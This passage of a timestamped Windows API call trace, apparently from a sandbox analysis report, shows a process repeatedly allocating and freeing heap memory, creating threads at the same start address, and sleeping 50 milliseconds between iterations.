dwFlags=0x0, lpMem=0x267f80) returned 1 [0142.545] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0142.545] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0142.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba0 [0142.545] Sleep (dwMilliseconds=0x32) [0142.638] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0142.638] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0142.638] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0142.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc98 [0142.638] Sleep (dwMilliseconds=0x32) [0142.732] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0142.732] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0142.732] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0142.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c [0142.733] Sleep (dwMilliseconds=0x32) [0142.827] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0142.827] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0142.827] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0142.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd4 [0142.828] Sleep (dwMilliseconds=0x32) [0142.922] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0142.922] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0142.922] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0142.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb98 [0142.922] Sleep (dwMilliseconds=0x32) [0143.021] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.021] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.021] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xecc [0143.021] Sleep (dwMilliseconds=0x32) [0143.076] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.076] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.076] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe9c [0143.077] Sleep (dwMilliseconds=0x32) [0143.169] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.169] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.169] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe80 [0143.170] Sleep (dwMilliseconds=0x32) [0143.263] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.263] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.263] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe58 [0143.264] Sleep (dwMilliseconds=0x32) [0143.358] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.358] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.358] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe48 [0143.358] Sleep (dwMilliseconds=0x32) [0143.449] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.449] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.449] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.449] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd4 [0143.449] Sleep (dwMilliseconds=0x32) [0143.543] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.543] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.543] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc8 [0143.544] Sleep (dwMilliseconds=0x32) [0143.637] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.637] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.637] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdbc [0143.638] Sleep (dwMilliseconds=0x32) [0143.733] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.733] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.733] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe08 [0143.734] Sleep (dwMilliseconds=0x32) [0143.837] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.837] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.837] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe84 [0143.837] Sleep (dwMilliseconds=0x32) [0143.902] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.902] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.902] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe28 [0143.902] Sleep (dwMilliseconds=0x32) [0143.993] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0143.994] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0143.994] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0143.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe38 [0143.994] Sleep (dwMilliseconds=0x32) [0144.089] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0144.089] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0144.089] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0144.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688 [0144.090] Sleep (dwMilliseconds=0x32) [0144.184] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0144.184] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0144.184] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0144.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef8 [0144.184] Sleep (dwMilliseconds=0x32) [0144.276] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0144.276] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0144.276] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0144.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xefc [0144.277] Sleep (dwMilliseconds=0x32) [0144.369] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0144.369] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0144.369] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0144.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb38 [0144.370] Sleep (dwMilliseconds=0x32) [0144.463] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0144.463] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0144.463] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0144.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4c [0144.464] Sleep (dwMilliseconds=0x32) [0144.556] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0144.557] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0144.557] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0144.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf8 [0144.557] Sleep (dwMilliseconds=0x32) [0144.651] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0144.651] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0144.651] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0144.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8 [0144.651] Sleep (dwMilliseconds=0x32) [0144.744] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0144.744] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0144.744] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0144.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10 [0144.745] Sleep (dwMilliseconds=0x32) [0144.837] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0144.837] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0144.838] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0144.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0144.838] Sleep (dwMilliseconds=0x32) [0144.931] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0144.931] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0144.932] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0144.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x103c [0144.932] Sleep (dwMilliseconds=0x32) [0145.032] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0145.032] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0145.032] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0145.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb68 [0145.032] Sleep (dwMilliseconds=0x32) [0145.090] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0145.090] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0145.090] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0145.090] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd94 [0145.091] Sleep (dwMilliseconds=0x32) [0145.181] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0145.181] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0145.181] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0145.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf98 [0145.182] Sleep (dwMilliseconds=0x32) [0145.278] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0145.278] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0145.278] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0145.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd9c [0145.279] Sleep (dwMilliseconds=0x32) [0145.397] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0145.397] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0145.397] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0145.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0145.398] Sleep (dwMilliseconds=0x32) [0145.540] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0145.540] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0145.540] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0145.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0145.540] Sleep (dwMilliseconds=0x32) [0145.662] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0145.662] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0145.662] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0145.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8 [0145.663] Sleep (dwMilliseconds=0x32) [0145.787] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0145.787] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0145.787] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0145.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84 [0145.788] Sleep (dwMilliseconds=0x32) [0145.906] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0145.906] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0145.906] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0145.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1174 [0145.907] Sleep (dwMilliseconds=0x32) [0146.021] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0146.021] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0146.021] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0146.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e8 [0146.022] Sleep (dwMilliseconds=0x32) [0146.162] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0146.162] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0146.162] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0146.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0146.163] Sleep (dwMilliseconds=0x32) [0146.356] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0146.356] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0146.356] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0146.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1234 [0146.356] Sleep (dwMilliseconds=0x32) [0146.489] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0146.489] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0146.489] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0146.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8c [0146.490] Sleep (dwMilliseconds=0x32) [0146.708] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0146.708] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0146.708] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0146.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd74 [0146.709] Sleep (dwMilliseconds=0x32) [0146.879] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0146.879] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0146.879] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0146.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118c [0146.880] Sleep (dwMilliseconds=0x32) [0147.006] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0147.006] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0147.006] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0147.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd7c [0147.006] Sleep (dwMilliseconds=0x32) [0147.161] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0147.161] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0147.161] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0147.161] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1278 [0147.161] Sleep (dwMilliseconds=0x32) [0147.295] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0147.295] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0147.295] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0147.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x127c [0147.295] Sleep (dwMilliseconds=0x32) [0147.427] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0147.427] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0147.427] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0147.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c8 [0147.428] Sleep (dwMilliseconds=0x32) [0147.608] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0147.608] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0147.608] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0147.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1328 [0147.609] Sleep (dwMilliseconds=0x32) [0148.049] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0148.049] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0148.049] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0148.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x143c [0148.050] Sleep (dwMilliseconds=0x32) [0148.170] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0148.170] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0148.170] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0148.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x147c [0148.171] Sleep (dwMilliseconds=0x32) [0148.532] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0148.532] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0148.533] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0148.533] 